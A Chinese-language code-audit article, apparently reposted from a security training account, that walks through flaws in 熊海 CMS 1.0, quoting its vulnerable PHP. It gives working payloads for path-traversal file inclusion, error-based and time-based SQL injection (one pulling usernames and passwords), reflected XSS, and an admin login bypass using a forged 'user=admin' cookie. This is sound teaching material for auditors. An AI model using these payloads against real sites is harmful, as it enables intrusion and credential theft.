文库 | 熊海cms代码审计

admin 2022年9月29日08:04:04评论80 views字数 2688阅读8分57秒阅读模式

高质量的安全文章,安全offer面试经验分享

尽在 # 掌控安全EDU #

作者:掌控安全-杰斯

熊海CMS

1.介绍

熊海是⼀款⼩型的内容管理系统,1.0版本是多年前的版本了,所以漏洞还是⽐较多的,⽽且审计起来难度不⼤,⾮常适合⼊门。

2.目录结构


  1. admin --管理后台文件夹
  2. css --存放css文件夹
  3. files --存放页面的文件夹
  4. images --存放图片的文件夹
  5. inc --存放网站配置文件的文件夹
  6. install --网站进行安装的文件夹
  7. seacmseditor --编辑器文件夹
  8. template --模板文件夹
  9. upload --上传功能文件夹
  10. index.php --网站首页

3.漏洞

3.1)文件包含漏洞

index.php


  1. <?php
  2. //单一入口模式
  3. error_reporting(0); //关闭错误显示
  4. $file = addslashes($_GET['r']); //接收文件名
  5. $action = $file == '' ? 'index' : $file; //判断为空或者等于index
  6. include('files/' . $action . '.php'); //载入相应文件

GET传值r,用函数addslashes转义我们传入的值,防止命令执行、sql注入等,但是这里对文件包含并没有影响存在目录穿越,可以包含file目录中的也可以包含根目录中的文件,我们在files文件夹下新建一个2.php 根目录新建1.php。


  1. <?php phpinfo();

  1. payload:
  2. ?r=2 //包含files文件夹下的phpinfo()
  3. ?r=../1 //包含根目录的phpinfo()

第二处admin的index.php也是存在同样问题

3.1) SQL注入漏洞

  1. admin/login.php

  1. <?php
  2. ob_start();
  3. require '../inc/conn.php';
  4. $login = $_POST['login'];
  5. $user = $_POST['user'];
  6. $password = $_POST['password'];
  7. $checkbox = $_POST['checkbox'];
  8. if ($login <> "") {
  9. $query = "SELECT * FROM manage WHERE user='$user'";
  10. echo $query;
  11. $result = mysql_query($query) or die('SQL语句有误:' . mysql_error());
  12. $users = mysql_fetch_array($result);
  13. if (!mysql_num_rows($result)) {
  14. echo "<Script language=JavaScript>alert('抱歉,用户名或者密码错误。');history.back();</Script>";
  15. exit;
  16. } else {
  17. $passwords = $users['password'];
  18. if (md5($password) <> $passwords) {
  19. echo "<Script language=JavaScript>alert('抱歉,用户名或者密码错误。');history.back();</Script>";
  20. exit;
  21. }
  22. //写入登录信息并记住30天
  23. if ($checkbox == 1) {
  24. setcookie('user', $user, time() + 3600 * 24 * 30, '/');
  25. } else {
  26. setcookie('user', $user, 0, '/');
  27. }
  28. echo "<script>this.location='?r=index'</script>";
  29. exit;
  30. }
  31. exit;
  32. ob_end_flush();
  33. }
  34. ?>

没有对参数进行过滤,SQLmap一把梭、

存在的一些注入类型


  1. 报错注入
  2. ' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+ //yong
  3. ' and updatexml(1,concat(0x7e,(select group_concat() from information_schema.tables where table_schema='www_xh_com' limit 0,1),0x7e),1)--+ //表名
  4. ' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 0,1),0x7e),1)--+
  5. ' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password) from users limit 0,1),0x7e),1)--+

  1. 时间盲注
  2. ' AND (SELECT 4931 FROM (SELECT(SLEEP(5)))PEws)-- QzwB

admin/softlist.php


  1. <?php
  2. require '../inc/checklogin.php';
  3. require '../inc/conn.php';
  4. $wzlistopen = 'class="open"';
  5. $pageyema = "?r=wzlist&page=";
  6. $delete = $_GET['delete'];
  7. if ($delete <> "") {
  8. $query = "DELETE FROM download WHERE id='$delete'";
  9. $result = mysql_query($query) or die('SQL语句有误:' . mysql_error());
  10. echo "<script>alert('亲,ID为" . $delete . "的内容已经成功删除!');location.href='?r=softlist'</script>";
  11. exit;
  12. }
  13. ?>

无过滤,开启了mysql错误回显,直接报错注入


  1. http://www.XXX.com/admin/?r=softlist&delete=' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+

执行结果:
SQL语句有误:XPATH syntax error: '~xh@localhost~'

admin/editlink.php


  1. <?php
  2. require '../inc/checklogin.php';
  3. require '../inc/conn.php';
  4. $linklistopen = 'class="open"';
  5. $id = $_GET['id'];
  6. $query = "SELECT * FROM link WHERE id='$id'";
  7. echo $query;
  8. $resul = mysql_query($query) or die('SQL语句有误:' . mysql_error());
  9. $link = mysql_fetch_array($resul);

无过滤,报错注入,时间盲注


  1. ' AND (SELECT 4931 FROM (SELECT(SLEEP(5)))PEws)-- QzwB
  2. ' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+

admin/editcolumn.php


  1. <?php
  2. require '../inc/checklogin.php';
  3. require '../inc/conn.php';
  4. $columnopen = 'class="open"';
  5. $id = $_GET['id'];
  6. $type = $_GET['type'];
  7. if ($type == 1) {
  8. $query = "SELECT * FROM nav WHERE id='$id'";
  9. echo $query;
  10. $resul = mysql_query($query) or die('SQL语句有误:' . mysql_error());
  11. $nav = mysql_fetch_array($resul);
  12. }
  13. if ($type == 2) {
  14. $query = "SELECT * FROM navclass WHERE id='$id'";
  15. $resul = mysql_query($query) or die('SQL语句有误:' . mysql_error());
  16. $nav = mysql_fetch_array($resul);
  17. }

无过滤,报错注入,时间盲注


  1. ' AND (SELECT 4931 FROM (SELECT(SLEEP(5)))PEws)-- QzwB
  2. ' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+
3.3) XSS漏洞

file/contact.php


  1. $page = addslashes($_GET['page']);
  2. if ($page <> "") {
  3. if ($page <> 1) {
  4. $pages = "第" . $page . "页 - ";
  5. }
  6. }
  7. <?php echo $page ?>

addslashes函数对js标签并不过滤


  1. http://www.xh.com/?r=contact&page=<script>alert(1)</script>
  2. http://www.xh.com/?r=contact&page=<img src=1 onerror=alert(/xss/)>
3.3) 垂直越权

inc/checklogin.php


  1. <?php
  2. $user=$_COOKIE['user'];
  3. if ($user==""){
  4. header("Location: ?r=login");
  5. exit;
  6. }
  7. ?>

  1. POST /admin/?r=login HTTP/1.1
  2. Host: www.xh.com
  3. Content-Length: 25
  4. Cache-Control: max-age=0
  5. Upgrade-Insecure-Requests: 1
  6. Origin: http://www.xh.com
  7. Content-Type: application/x-www-form-urlencoded
  8. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
  9. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  10. Referer: http://www.xh.com/admin/?r=login
  11. Accept-Encoding: gzip, deflate
  12. Accept-Language: zh-CN,zh;q=0.9
  13. Cookie: PHPSESSID=moiv7ip0kf500du1luv2ccr333; name=dasd; mail=dasd;user=admin
  14. Connection: close
  15. user=&password=&login=yes

在cookie中添加一个新的属性:user=admin

申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.

回顾往期内容

Xray挂机刷漏洞

零基础学黑客,该怎么学?

网络安全人员必考的几本证书!

文库|内网神器cs4.0使用说明书

代码审计 | 这个CNVD证书拿的有点轻松

【精选】SRC快速入门+上分小秘籍+实战指南

代理池工具撰写 | 只有无尽的跳转,没有封禁的IP!

文库 | 熊海cms代码审计

扫码白嫖视频+工具+进群+靶场等资料

文库 | 熊海cms代码审计

文库 | 熊海cms代码审计

扫码白嫖

还有免费的配套靶场交流群

原文始发于微信公众号(掌控安全EDU):文库 | 熊海cms代码审计

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年9月29日08:04:04
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   文库 | 熊海cms代码审计https://cn-sec.com/archives/1320130.html

发表评论

匿名网友 填写信息